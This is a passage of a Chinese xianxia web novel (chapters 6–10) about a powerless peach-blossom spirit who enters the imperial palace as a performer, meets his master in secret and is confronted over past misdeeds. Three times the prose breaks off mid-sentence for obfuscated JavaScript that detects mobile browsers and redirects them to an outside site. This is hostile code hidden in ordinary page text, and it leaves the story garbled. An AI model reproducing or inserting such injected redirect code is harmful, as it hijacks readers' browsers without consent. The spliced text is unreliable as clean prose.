“还有啊......” ......遇到话痨了。 绯枝长这么大,就没遇到过这么能说的。 以往都是他缠着四个冤大头喋喋不休,现在报应来了。 真想往这人嘴里塞一把花。 死鱼眼半天,见对方还没有要止话头的意思,绯枝默默摊开右手晃了晃。 苏煜顿时倒吸冷气,“五十万两金子你全拿到了!” 这声高了些,走在前面的优伶们一个个看过来。 五十万两金子只为了与人相处一天,这事不到一天就在皇城传得沸沸扬扬。 人活一世,名、利、权、色,不外如是。 他们优伶面上光鲜,但绝大多数终究不过是有钱有势之人吆来喝去的玩物。 此番一博去皇宫,或为财或为名。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14234302|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果,有个人已经提前完成梦想了。 感知到不少或嫉妒或恶意的隐晦视线,绯枝面不改色,“再猜。” 苏煜也意识到自己声音太大了,歉意笑了笑,呵斥那些偷听的优伶安分往前走。 压低声音,“没有五十万吗,那就是五万,少了点吧?” 呵呵,还五万,想象力真是贫瘠。我的贫困,超脱你的想象。 绯枝摇头,“再猜。” “五千?” “大胆点,再猜。” “不至于才五百两金子吧。” 绯枝死人脸呵呵一笑,“五十两,银子。” 他这一句五十两银子给苏煜说懵了,嘴巴终于闭上了。 估计是在思考,为什么连路人都分到了一锭金子,主人公却只有五十两,而且还是银子。 绯枝伤敌一千自损一千八,悲伤仰头望天。 他们已经进入皇宫了,入目是高大迫耸的红墙朱瓦,看得他愈发郁闷。 以后一定要从那人傻钱多的少主身上多扣点钱下来。 不对,还是不要有以后了,别再遇到才是好事。 悄悄扒拉开乾坤袋,不死心的想再试试能不能破开那禁制。 结果没有遇上丝毫阻碍。 绯枝一怔,禁制什么时候解开的? 试着取一锭金子,居然真的取了出来,而且似乎还是只有他能取的特殊术法。 落玉衡良心发现,突然意识到他跳舞唱曲儿很辛苦了? 他没逃走的时候不肯给钱,逃走了倒是给钱了,怎么想的,助力跑路? 绯枝发现自己越来越摸不透这几个债主的想法了。 总觉得他们有点受虐的爱好。 嘶......这可不兴想。 周围优伶们打量的目光一直没停,绯枝悄悄将金子收好,看过去,又都一个个低头装安分。 “各位都是我的前辈,接下来的日子要拜托各位多多关照了。” 绯枝突然出声,引来所有人注意。 他轻笑,花香悄然弥漫。 敌意消散,优伶们紧张地回应几句。 又说了几句恭维话,绯枝转过身,眸底淡漠。 这下想来之后也不至于给他下绊子。 真麻烦。 苏煜凑过来,在他耳边轻声:“人活一世为名为利,季兄这般优秀,他们自然会嫉妒。放心,我会管好他们的。” 好不容易正经了一句,下一句苏煜又开始絮叨了,“对了季兄我跟你说,我之前遇到过一个优伶,她不求财也不求名,就求一个真心人,只可惜......” “还有......” “然后是......” 够了啊你,嘴巴不干吗! “诶,那季兄你是求什么呢?”他好奇问道。 烦不胜烦的绯枝侧眸,悄悄磨牙,面上勾唇。 “我是个俗人,求财。” 顺道求这世间不得太平。 苏煜嘿嘿跟着笑,颇为认同:“钱谁不喜欢,我最喜欢钱了。” 一行人走在去往住所的路上,期间路过花园,突然听到惨叫声。 绯枝望过去,一名衣着华贵的女子满面狰狞怒意,正扬手用带着倒刺的长鞭抽打身前的丫鬟,将人抽得鲜血淋漓。 “贱婢,居然敢挡着本宫赏花!” “本宫今天就教教你什么叫规矩!” 不少优伶战战兢兢不敢再看。 “是长公主。”苏煜贴在绯枝耳边轻声道:“因为太子快要大婚,各位皇子皇女都被召回。季兄你在皇宫要小心长公主,她的性子比较......暴烈。” 绯枝嘴角抽了抽,何止是暴烈。 丫鬟不过是不小心站在了她赏花的视野里,就要被抽成这副死样。 这要是真的做错了什么,怕是直接打死了。 一众人小心翼翼路过,等到再也看不见长公主,气氛才松快下来。 绯枝正思索着安定下来后要做的事,忽听周边有人说了句仙人。 条件反射被触发,他猛地弹起脑袋。 几个优伶专注看着某个方向,眼神惊艳乃至爱慕。 苏煜搭上绯枝肩膀,一脸兴奋,“季兄快看!是传说中的“泽世皎月”封仙君啊!” 脑子嗡一声。 绯枝僵硬扭头。 猝不及防撞进一对温柔的眼眸。 封祭月依旧是一袭白衣,玉冠将墨发半束,俊逸清雅。 像是月光洒落人间,万般皆是苦,唯他是救赎。 目光在空中交错。 分明隔有一段距离,绯枝却好像能从那对琥珀棕的眸底看清自己无措的倒影。 封祭月在与大皇子交谈,所站的位置刚好位于一行人的必经之路上。 绯枝几乎想转身逃跑,用尽了全力才让自己勉强继续跟着队伍向前走。 耳边苏煜又开始喋喋不休。 这人喜欢八卦,虽是个凡人,但对修仙界的事情了解的也不少。 他说仙君是来皇宫帮忙解决一起魔族犯下的案子的。 又说仙君多好的人,可惜运气不好,一辈子就收了那么一个徒弟,结果是引狼入室。 那些优伶对高不可攀的修仙界完全不了解,围着苏煜你问一句我问一句。 话痨被哄得高兴极了,把自己知道的事情倒篓子般尽数说了出来。 活灵活现的,跟这些事情发生的时候他就在现场似的。 距离越来越近,绯枝强笑着回应苏煜,面上维持恰到好处的见到仙人的惊喜与紧张。 就要与人擦肩而过。 突然,手腕一紧。 人群中,袖摆下,修长指节轻而易举圈住了清瘦的腕骨。 ‘阿枝,师尊戌时来寻你。’ 传音进入脑海,绯枝一僵,封祭月却已松开了手。 他全程都没有表现出对绯枝的特别,就连那下意识的抓手也避开了所有人视线。 哪怕他的弟子做了那般大逆不道千夫所指的恶事,也还是细心顾弟子周全。 师尊总是这样,永远都在为他考虑。 7.第 7 章 看着一行人走远,大皇子下意识感叹道:“那个穿红衣服的长得真好看,也不知道叫什么。” 突觉身上发凉,汗毛倒竖,猛地回神,还以为是魔族来了。 结果周边什么都没有,只有长身玉立,看起来同人间俊逸公子一般无二的封祭月。 大皇子眼底轻蔑转瞬即逝,面上依旧恭敬,“仙君不愧是万人敬仰的仁善君子,这一次多亏了您,不然不知道还有多少无辜的人要受牵连。” 声名远扬之人或多或少会有些不好的传闻,奕戈的阴晴不定,缔琉俟的冷漠不近人情,落玉衡的蛮横嗜杀。 唯有封祭月,修仙界与凡人界对他的传闻皆是称颂赞誉。 他就像是为了救赎这天下苍生而出现的,无私又悲悯,爱他人远胜于爱自己。 他能为救一普通人深入魔渊负伤,也能为还人公道而斩杀亲朋。 不徇私,不贪生,不图利,完美到仿若臆想。 大皇子心底嗤笑,什么仙君,不过是个天真的蠢货,真以为做点好事就能让所有人喜欢? 人都是贪得无厌的,封祭月要不是运气好有一身修为,早就被算计得死无葬身之地了。 那个叛逃的弟子不就是最好的证明。 通天的修为给这种白痴真是浪费。 就跟太子之位给他那个废物皇弟一样。 “对了,听闻仙君在追捕您那个孽徒,不知是否需要帮忙?” “多谢大皇子好意,此事我自会处理。”封祭月温声拒绝。 袖摆下的手轻轻摩挲一支玉雕的桃花簪,他眉眼轻轻弯起,“还有事,就先告辞了。” 大皇子颔首,揖手客气道:“客房随时为仙君备着,不日便是我那皇弟的大婚,仙君若肯赏面,不胜荣幸。” 封祭月轻笑,“会来的。” 大皇子一僵,客套话而已,你真来? 凡人大婚,一名仙君凑什么热闹? —— 优伶的住所是两人一院,绯枝原先跟一个清秀少年分到一起,但自来熟的苏煜说想跟他秉烛夜谈,直接把他调到了自己的院落。 听着耳边的碎碎念,绯枝头一次这么恨自己灵力枯竭,不然现在绝对一个昏睡术下去,让这话痨知道什么叫做倒头就睡。 看向窗外,日头已经落下,快到师尊来寻他的时辰了。 “季兄,你去哪啊,我刚说到我一个朋友清心寡欲多年,结果发现是个断袖,为爱跟爹娘抗争......” 我对你的朋友一点都不好奇,对断袖更是完全不感兴趣! 绯枝摆手,“好不容易有机会进皇宫,我当然要去参观一下,才不算白来。” 苏煜愣愣,“也是,那要不我给你解说?” “不必,苏兄今日带队想来也累了,这点小事我怎好劳烦你。” 绯枝疾步溜出院落,东转西拐找到一处偏僻无人的亭子,这才松了口气。 只可惜这口气也没能松多久,封祭月的声音在他身后响起。 “阿枝。” 这么快就找过来了?! 绯枝全身一僵,心脏险些蹦出来。 咬了下腮肉迫使自己放松,转头时面上就已带了乖巧的笑容。 “师尊。” 不打算等对方先开口,那样只会落到下风,绯枝飞快措辞,道:“师尊您听弟子说,其实——” 手腕被扣住,温柔的力道将他往前一带。 师尊身上令人心安的浅香萦绕在呼吸间,绯枝倏地怔住。 原先想得那些谎言随之烟消云散,再想不起来一个字。 “之前就想问你,你的修为去哪了?” 封祭月修长的手指搭上绯枝手腕,用灵力细细检查。 绯枝的天赋很好,曾经修为也不低,在同辈当中是绝对的佼佼者。 可如今,他灵力枯竭,经脉中再寻不到丝毫修为,与凡人无异。 “我......” 绯枝没想到师尊这么快就发现了,有此前布阵将四人困在屋内的事情,按理说不应该被察觉异样才对。 “有人伤了你?”封祭月紧紧蹙起了眉,忧心忡忡,“可还有其他不舒服的地方?” 那双温柔的眼睛注视着他,仿佛目之所及唯有他一人。 没有厌恶,也没有仇恨,有的只是一位师尊对自己弟子殷切的关心。 可偏偏是这样,他突然就什么话都说不出来了。 “......没有人伤我,是我自己做的。” “为什么要这样做?!”封祭月攥紧了掌心的手腕,满是不解,“你知不知道这样对身体的伤害有多大!” 绯枝不语。 要他怎么说?说他因为一些烦人的呢喃指引,就自废了全部修为? 还是说他为了找寻一个梦中的人,所以什么都不顾了? 听上去简直就像是疯子。 甚至他经常觉得,自己就是疯了,那些呢喃跟那些梦都是癔症,根本就不存在。 许是看出了绯枝的为难,封祭月垂下眼睫,声音很轻,“不想说也没事,师尊不会逼你的,只是担心你而已。” 绯枝顿了顿,缓缓深吸口气,让自己冷静下来。 面对奕戈跟落玉衡他还能稳住,可是对上养育了自己许多年的师尊,难免心绪不稳。 “师尊这次来,是要捉弟子回去,给所有人一个交代对吧。” “可否再给弟子一些时间,之后弟子一定任凭师尊处置,绝不反抗。” 若仅仅是谋害四人,还不至于这么严重,只要四人不同他计较,旁人也无法插手。 可他所做不仅仅如此,还在引诱缔琉俟破戒的同时破坏了登灵阁的问仙仪式,杀害其中成员十数名。 登灵阁对他的通缉已经发遍了修仙界,师尊这里压力无疑是最大的。 只有将他交出去,处死,才能平息众怒。 但他现在还不能死。 若非到了没有任何其他办法的地步,他不想与师尊动手。 更何况他根本不可能是师尊的对手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14245488|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可是等了一会儿,封祭月都没有回答。绯枝顺着对方的目光往下,落在了自己被抓着的手腕上。 白日里落玉衡咬出来的那圈牙印还在,那条疯狗故意用了点灵力不让牙印太快褪去。 就跟小狗圈地盘似的,幼稚无比。 而这会儿,封祭月就定定看着这牙印。 半晌,他问:“阿枝已经遇到过龙族那位少主了?” 所以就连师尊您都默认那是条疯狗了啊! 绯枝讪讪,“偶遇。” 封祭月嗯了一声,很贴心地没有追问,只是用灵力将牙印抹去。 温热的指腹摩挲过腕部,带来些许痒意,绯枝缩了缩手,没缩回来,只得作罢。 之前的话题似乎被刻意略过。 气氛安静下来,却并不尴尬。 在他未背叛师尊的日子里,也时常同师尊待在一处,不说话,静静享受安宁的时光。 师尊会翻阅一些对他来说过于无趣的书籍,而他就窝在师尊身旁吃糕点,偶尔还会变作桃花跟师尊玩捉迷藏。 悄悄抬眸看师尊,对方也正看他,目光接触,绯枝唰得别过眼睛。 “阿枝。”封祭月柔声打破了宁静。 他递过来一样东西,“你当时走得太匆忙,将它落下了。” 绯枝低眼,被师尊托在手上的,是一柄水红色的长剑。 当年他拜入师尊门下,师尊特意跑遍各处秘境,寻来最好的材料为他亲手打造了这柄长剑。 桃之夭夭,灼灼其华。 剑名灼华。 师尊总说,希望他一生恣意,不受任何拘束,活得耀眼自在。 只可惜,剑取错了名,也送错了人。 他注定不可能活在天光下,一株见不得光的桃花,自然也不可能开得繁华鲜艳。 最后,这柄剑甚至刺入了赠与者的脊骨。 师尊这辈子唯一的败笔就是他。 “不必,这柄剑还与您。”绯枝将灼华推了回去,“我如今已经用不上了。” 封祭月似乎怔了片刻,声音有些轻颤,“你究竟是不想要这把剑,还是连师尊都不想认了?” “......” 沉默片刻,绯枝没有回答封祭月的问题,而是又将话题挑了回去:“您现在会杀我吗?” 封祭月毫不犹豫:“绝不会。” “但您若是不杀我,日后被发现,您的名望将毁于一旦。” “所以——” 绯枝想要说服封祭月,以后再来捉他,给他一点时间,最后就算千刀万剐他也接受。 他真的很卑鄙,吃准了师尊的仁慈与不舍得,用自己微薄的感情去绑架最在意最关心他的人。 可手腕上的手突然收紧,封祭月盯着他。 “旁人评说,与我何干?” “阿枝,在你身边的时候,我不是什么仙君,我只是你的师尊,师尊保护弟子是天经地义的。” “一日为师终生为父,你既拜入我门下,我自会永远对你负责。” 8.第 8 章 “......” 绯枝好一会儿才明白封祭月这段话究竟是什么意思。 仙君封祭月从没有捉到那个背叛师门的犯人。 师尊只是来关心他许久未见的弟子,哪怕这个弟子剜他骨,毁他一世清誉。 不敢置信,这种逃避事实的诡辩决定居然是师尊做出来的。 换做另外三人,他不会觉得意外,因为他们从来就不是什么标榜道德的人。 可师尊不一样,这样的决定无异于是将所有的原则都破碎,将此前半生的坚持尽数否定。 “师——” 一根温热的手指按在唇瓣上,堵住了他的话。 “阿枝以前不是说,要师尊别总为他人而活吗?” “这次师尊听阿枝的话,循心而为。” 封祭月柔柔笑起来,他低头,与绯枝额头相抵,轻轻拍着怀中人单薄的肩背,一如曾经哄年幼的小弟子。 “师尊不怨你,我的阿枝肯定是有苦衷的。” “所以阿枝不用怕,师尊会为你遮风挡雨,你只要往前走就好。” “不管你要做什么,记住师尊永远在你身后。” 无埃宗的封仙君,年少成名却从未有过少年人的轻狂,一生循规蹈矩,被长老们灌输成了一个心中只有大义的至善之人。 绯枝努力劝导多年也没能让师尊多为自身考虑考虑,只能看着师尊一次次为一些不值得的人受伤。 在他看来,那些长老分明就是在洗脑,用所谓的“善”将师尊束缚操控,让师尊成为一个没有自我的傀儡。 他没想到,师尊第一次违背长老们的教诲与自身的善意,居然是为了包庇他这种人。 可他,也只是个不值得的人罢了。 许是怀抱太过温暖,绯枝突然鼻尖酸涩,没有推开,放纵自己沉溺于这一刻的温情。 师尊是世上最好的师尊。 他却是这世上最不肖的弟子。 这世道,好人总是活得辛酸,坏人却逍遥快活。 “这次的事情很快就会解决的,阿枝很快就不用东躲西藏了。” 绯枝一愣,“您要做什么?” 他实在是想不出来有什么办法能抹去他杀害十数人的事实。 既然做了,他就不会为自己辩解什么苦衷。 只因为呢喃让他杀,让他破坏问仙仪式。 只要能寻到那个人,他可以不择一切手段。 封祭月轻笑,“以后阿枝就知道了,师尊这几日要回修仙界一趟,你一个人在皇宫要当心,知道吗?” “......知道了。” 绯枝犹豫着,埋在封祭月怀里开口询问:“师尊您的伤,怎么样了,让弟子看看?” 问完后才觉不妥。 那伤贯彻整条脊骨,着实不是个方便他人查看的地方。 封祭月微顿,也不知是不是夜色模糊,他的面侧有些红。 “已经愈合得差不多了,阿枝不用担心。” 他松开绯枝,递去一支桃花玉簪,“这玉簪能替你挡一次攻击,你戴上。” “你现在没了修为,灼华确实不适合了。”他顿了顿,掩下语气里那一抹失落,“师尊去给你寻新的法器。” 绯枝摆手,“法器不用了,弟子有自保的法子......唔?” 肩头按上来一只手,不容置疑地将他转了个身。 乌发被撩起,用那只桃花簪细心挽起。 “阿枝真好看。” 封祭月感叹,语气很是怀念,“记忆里阿枝还是个只到师尊腰畔的小娃娃呢,一眨眼这么大了。” 绯枝软声道:“师尊养得好嘛,把我养得白白胖胖的。” “噗嗤!”封祭月被逗笑了,替绯枝整理头发,“哪儿胖了,分明瘦得很,要多吃些才是。” 绯枝蹭蹭脑袋上的手,“好,弟子以后每天都吃三大碗。” 边说着话,后颈被指腹抚过,久久停留。 绯枝痒得一颤,“我脖子上有东西吗?” “啊......”封祭月眨眼,才回神似的,立刻收回了手。 “嗯、嗯,有根头发。” 他低下眼,指尖蜷缩。藏于发丝间的耳尖稍稍透出些红意,像是染在白玉上的朱砂。 天色已经彻底暗了,云遮月,碎星稀,连风都没有。 知道了师尊不打算捉自己回去,绯枝放松下来,终于有了欣赏周遭风景的心情。 不愧是皇宫,就算是这种偏僻到见鬼的地方都富贵得很。 红木亭子雕梁画栋,旁边种得也是他叫不上来名字但一看就很贵的花。 金纹镶边,浅紫大红,煞是漂亮。 刚想问问师尊知不知道这花叫什么,绯枝神色一凛,拉着封祭月飞快藏进花丛中。 “阿枝——” “嘘。” 学着之前封祭月的动作,将手指按在了对方嘴唇上,另一只手按着对方肩膀,将人压在身下。 行云流水又大逆不道的一套动作,封祭月神情有些懵,耳尖又悄然红起来。 两人扑倒在花丛,茂盛的花朵与灌木将他们交叠的身形彻底遮盖。 不一会儿,脚步声靠近,两道人影走进亭子,正好站在之前两人站过的地方。 不是吧,真见鬼了啊! 我就随口一说的啊! 绯枝趴在封祭月身上,小心翼翼探头瞄了眼,借着月色看清两道人影是一男一女。 两人正在......互相啃嘴巴??? “殿下,您快要大婚了,若是被发现,会不会不太好?”那个女子依偎在男子怀中,语气娇羞。 殿下,大婚,男子是太子钟宏舫。 “孤可是太子,谁敢说孤!” 钟宏舫的声音透着一股子被酒色掏空的虚感,语调也油腻无比。 “琳儿,待孤完婚,便让你做侧妃。” 叫做琳儿的女子却拒绝了,“殿下,奴婢不过一个卑贱的婢女,配不上侧妃之位。” “琳儿只要能够常伴殿下左右,便知足了。” 钟宏舫欣慰,“琳儿果然是最懂事的。” 两人又开始亲热,暧昧的动静在这寂静的夜色下格外清晰。 尤其,一旁花丛中躲着的,一个是修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14254340|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为高深的仙君,一个是虽然没了修为但本就不是人的桃花精。 两人敏锐的听觉将所有细微的动静都尽收耳底。 尴尬...... 尴尬到恨不得失聪。 绯枝怎么都没想到,自己精心寻找的偏僻角落,居然是太子跟婢女调情的圣地。 窸窸窣窣的布料摩擦声响起,绯枝一僵,野、野外,这么迫不及待? 眼睛突然被一只温热的手蒙住,识海中响起师尊的声音。 ‘阿枝你还小,别看这、这种东西。’ 封祭月的声音有些结巴,显得比绯枝还要紧张。 绯枝莫名想笑,他好歹还跟着不正经的奕戈跟落玉衡看过一些不该看的话本子图册子。 但他师尊可就是实打实的正人君子,哪里了解过这些。 气音道:“师尊不让弟子看,不会自己偷偷看吧?” 后腰被师尊另一只手不轻不重拍了拍。 ‘没大没小的。’ 绯枝笑嘻嘻,伸手摸索上封祭月的面侧,也用手捂住了对方的眼睛。 “师尊也别看。” 他看不见,但师尊应该是笑了,因为掌心被师尊的睫毛扫了扫,轻轻颤动。 本以为要等上一阵子,结果没多久亭子里面的动静就戛然而止,片刻后疑似穿衣服的声音响起。 绯枝错愕,“这么快?” 长得面白体虚,果然虚。 ‘不许乱说话。’封祭月面侧微红。 估摸着衣服已经穿好,两人同时松开了捂着彼此眼睛的手。 绯枝才发现自己一直都压在师尊身上把人当肉垫,师尊估计不太好受,于是小心翼翼往旁边翻了下去。 跪坐地面,从花丛中探出个脑袋,往亭子里面张望。 琳儿正在给钟宏舫整理衣衫。 一边整理,两人又开始说些有的没的。 这其中倒是有几句比较有用。 跟太子大婚的太子妃竟是个叫做洵竹的男子,据说能力很不错,长得也好看,所以被皇帝看中赐婚给钟宏舫。 钟宏舫纯粹是个酒色傀儡,只要好看,男女不忌,来者不拒。 也不知道是怎么稳坐太子之位的,感觉是个皇子都比他强。 说着说着,两人的嘴巴又啃到一块儿去了。 啧啧啧。 绯枝还未来得及细赏,一双骨节分明的手从后面捂上他的眼睛。 灵力屏障撑开,单向隔绝了所有动静。 后背偶尔会碰上温热的胸膛,师尊的嗓音温柔中带着些嗔怪,“都说了不许看,会学坏的。” 呼吸落在耳畔,绯枝侧了侧头,微微扭头透过指间的缝隙望向封祭月,“好痒啊师尊。” 另一边琳儿小声撒娇:“殿下您坏,痒死了。” 钟宏舫从后面搂抱住欲拒还迎的琳儿,朝人耳朵吹气,“孤看你喜欢得很呢嘿嘿。” 分明是两种截然不同的关系,此刻的姿势与对话却诡异的相似。 封祭月:“......” 四目相对,因着同时看向彼此,两人呼吸都撞在一块儿。 9.第 9 章 短暂的凝滞,封祭月猛地松开绯枝,直接站起来背过身去,不停整理着衣衫,拂去上面的尘土,一副很忙碌的模样。 绯枝摸摸耳尖,心跳有些快,莫名觉得有些不自在。 人在紧张的时候总是会想些有的没的,他这会儿忍不住想,师尊被誉为“泽世皎月”,除了那些善举,更多还是因为容貌吧。 霞姿月韵都不足以描述师尊的模样气质。 就算是近距离看,也毫无瑕疵,也难怪在修仙界的爱慕者多到数都数不清,男女都有。 等等......我在想什么呢? 师尊长什么样跟我有什么关系,就算师尊丑出天际那也依然是我师尊。 都怪这两个偷.情的! “谁在那里!”琳儿突然惊呼一声。 她没听到声音,余光却瞥见了一道身影。 可不待她看清,那身影就消失不见了,自始至终没有任何动静,更像是夜间的眼花,将树影错辨。 钟宏舫有点扫兴,掰过琳儿的脸,“别疑神疑鬼的,兴许是猫。” 琳儿还想说些什么,但察觉钟宏舫的不耐,只得抛下这件事,好声好气哄起来。 花丛中,绯枝看着仓促蹲回来的师尊,快要憋不住笑出声。 师尊一向是端方温雅的,何曾露出过这样窘迫的样子,甚至发丝都有些乱了,拂过如月如玉的眉眼。 “想笑便笑吧。”封祭月无奈揉了揉绯枝的脑袋,说着,自己先忍不住噗嗤一声笑了出来。 这一打岔,方才那点奇怪的暧昧感烟消云散。 趁着亭子里两人又开始卿卿我我,绯枝跟封祭月离开了这处偏僻角落。 —— 跟师尊分别,回到院落的时候已经夜半三更了。 师尊离开皇宫回修仙界,绯枝也不知道对方要怎么处理自己的所作所为。 总不能是把所有知情人都杀了吧,这得血洗整个修仙界啊。 不过要是算上奕戈跟落玉衡,血洗也不是不可能。 脑子里想得越来越离谱,推开房间门。 今天也够累的,好好睡一觉—— 思绪僵住。 属于他的床榻上有一个人正两眼放光盯着他,搔首弄姿的。 苏煜兴奋点灯,“季兄你终于回来了!” “快快快,我跟你说,我那个断袖的朋友啊,他爹娘一直对他报以众望,但是几个月前他......” 救命! 绯枝眼前一黑。 师尊您在哪里,把我也带走吧! —— 绯枝都不知道自己这一晚是怎么过的。 现在满脑子都是“我那个断袖的朋友。” “季兄!”苏煜活蹦乱跳凑过来。 “我的建议是你断袖的朋友找个裁缝铺去把袖子缝上。”绯枝面无表情。 “什么啊,我是来跟你说,别忘了去排练婚宴上的舞。” 苏煜拍拍绯枝,“好啦,我也要去练琴了,晚上见咯。” 一想到晚上还要跟“断袖的朋友”一起度过,绯枝恨不得直接给苏煜下哑药,从根源解决问题。 距离太子大婚还有七天,这鬼日子真是过不下去了。 可偏偏,他要做的事情,必须要等到大婚。 据古籍记载,每逢皇族大典,九天之上的那位仙人便会派下使者来赐福,普天同庆,这是仁爱的仙人对苍生的福泽。 亦谓——宴仙。 只是大典宴仙有一件必需的物事——皇族玉玺。 玉玺乃是仙人所赐,却已不知所踪千百年,自此,再无大典,仙使亦再不现身。 太子的大婚固然重要,可此前从未有如此隆重的排场,甚至还要向外征召优伶。 绯枝猜想,也许皇族寻回了玉玺,要借着此番大婚,举办大典,宴请仙人。 而呢喃给了他一个算不上太模糊但也不清晰的指引—— 玉玺。 去到排练场所的时候,其他优伶都已经到了。 一个上午便在浑水摸鱼当中过去,绯枝摸摸空荡荡的肚子,又看看那些还在努力排练的优伶,十分佩服。 真敬业呐,你们不成功谁成功。 反正他是要找吃的去了。 悄无声息溜走,随意给了膳房的厨子一点钱,绯枝就得到了一顿丰盛的午膳。 有钱真好,落兄真是我的贵人。 “季斐公子,太子殿下请您前往殿中一叙。” 吃的正欢,一道格外耳熟的声音从旁边传来。 绯枝扭头一看,险些把嘴里的鸡腿掉桌上。 这不是那个琳儿吗?! 等等,她说什么?太子找他? 眼前的女子身着太子殿统一的婢女服饰,却又在细节处多了精致纹饰,彰显出她大宫女的身份。 昨夜没有细看,琳儿生得其实很漂亮,算得上一等一的美人儿。面上带着恭敬温婉的笑容,让人不自觉卸下心防。 绯枝疑惑,太子怎么会认识他的。 要说图他的脸,可他敢确定,从他进宫开始,那太子绝对没有看到过他的脸。 倒是琳儿上午来乐舞机构督促过一些排练工作。 “不知太子找小民有何事,姑娘可否透露一二?”绯枝同样恭敬笑了笑,语调放软,流露出适当的紧张,“毕竟小民只是个没什么见识的跳舞的。” 琳儿掩嘴一笑,“公子莫怕,太子殿下欣赏您的才华,只是请您去跳上一支舞罢了。” 狗都不信。 两人一来一回,都快走到太子殿了,除了一开始那句跳舞,别的什么消息都没透露。 绯枝有种遇上同类的感觉。 嘴上说得又甜又好听,实则根本没安好心。 “殿下就在里面,奴婢便不打扰了。”琳儿在殿门前停下脚步,替绯枝打开殿门。 “公子好好服侍殿下,殿下不会亏待您的 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说好的修仙界不得插手凡人界呢,怎么进皇宫跟回家似的自然。 缔琉俟转过身来,手上还提着什么东西。 绯枝定睛一看,嘶—— 钟宏舫死狗一样被提着衣领,不知道昏了多久,也不知道还有气没。 “我有话问你。”缔琉俟道。 你就不会别的开场白了是吧! “那个......冕下要不先把他放下?”绯枝小心翼翼道:“要是死了的话,怪麻烦的。” 缔琉俟听话地把钟宏舫放到地上,“没有死,昏睡术。” 绯枝一顿,“我记得修仙界的人不能无故对皇族中人动手,会受到仙罚。” “不是无故。” 缔琉俟指向角落的香炉。 “我翻过书,这个催.情.药叫桃花醉,可熏香,亦可服用。” “他要给你下药,跟你之前给我下的一样。” 绯枝顿时一激灵,来了,旧账来了,债主带着他的账本来了。 这位圣子极少一口气说这么长的话,说完后停顿片刻。 突然抬手,取下了遮面绸缎。 并不似修仙界谣传那般,因为面貌丑陋而不敢见人。 这位清冷的圣子实则生了一张极为矜贵的面容,眉心绘着鎏金灵印,琉璃般的金眸澄澈,似金乌璨月。 他面上总是没有任何神情,长睫垂落,分明是青年的模样,却有着比稚子更干净的气质。 除了绯枝,几乎无人见过他的容貌。 此刻,缔琉俟就用这张不见红尘的脸对着绯枝,认真问道: “你为什么要给我下催.情.药?” 10.第 10 章 大危机,史无前例的大危机。 绯枝深吸一口气,他躲着另外三个人,是觉得他们三个会把自己弄死。 但躲着缔琉俟,是觉得自己容易被追问到抓狂。 登灵阁的圣子是个淡漠到冷血的人,修仙界绝大多数人都是这么认为的。 缔琉俟从不会为任何人任何事出现冷漠以外的表现,不论面对多么惨烈悲痛的事情,他永远都是目下无尘。 但这如何能怨他,这位圣子已经被登灵阁那些严苛到灭绝人性的森规戒律彻底磨灭了做一个正常人的可能。 不能笑,不能哭,不能怒,不能有一切渴望。 第一次遇见缔琉俟是在六年前,师尊带队宗门弟子去登灵阁交流学习,缔琉俟就跟在登灵阁的那位阁主身旁。 据说,缔琉俟年幼时家族惨遭灭门,是阁主救下他。 所以不论登灵阁对圣子的要求究竟有多扭曲,缔琉俟都承受了下来,最终变作这般模样。 绯枝看缔琉俟就跟看一个华贵的人偶似的,高贵,但是了无生气。 内在被抹杀,只剩天赋绝世的躯壳,成为登灵阁的门面。 自由交流时,他出其不意掀开对方遮面绸缎,往缔琉俟嘴里塞了颗师尊给他买的糖霜山楂——一包里面最酸的那颗。 缔琉俟想来是从未吃过这样的人间吃食,被酸得绸缎下的神情终于有了少许变化。 下一刻,还没来得及得意的绯枝就被对方提溜到登灵阁阁主那边去了。 还是师尊眼疾手快把弱小无助的他抢救回来的。 打那以后,他找着机会就溜去找缔琉俟,不为别的,脑子里的呢喃快把他催疯了。 前前后后花了三年的时间,他才跟缔琉俟彻底混熟。 比落玉衡跟奕戈加起来花的时间都长。 如果能够努力凿穿那特意打造的虚假外壳,探知内里,就会发现缔琉俟其实挺好相处的。 就是脑子有些呆,思考方式跟常人不太一样,还特别爱问问题。 比方说,同别人打招呼说早,会得到同样的回应。 而缔琉俟会问:“为什么早?”“什么意思?”“为什么不是清晨?” 仿若一只被囚禁太久的小鸟,终于接触到那么一丝微弱的自由,对外边世界的好奇再也无法遏制。 挺好玩的性子,绯枝贱贱的性格就喜欢逗缔琉俟这个呆瓜玩。 对方还不像落玉衡,惹急眼了会咬他,安全多了。 只不过这一次......只能说玩脱了。 当时的原因说来并不复杂,无非是呢喃指示他去四人身上取一些重要之物,然后融入玉石。 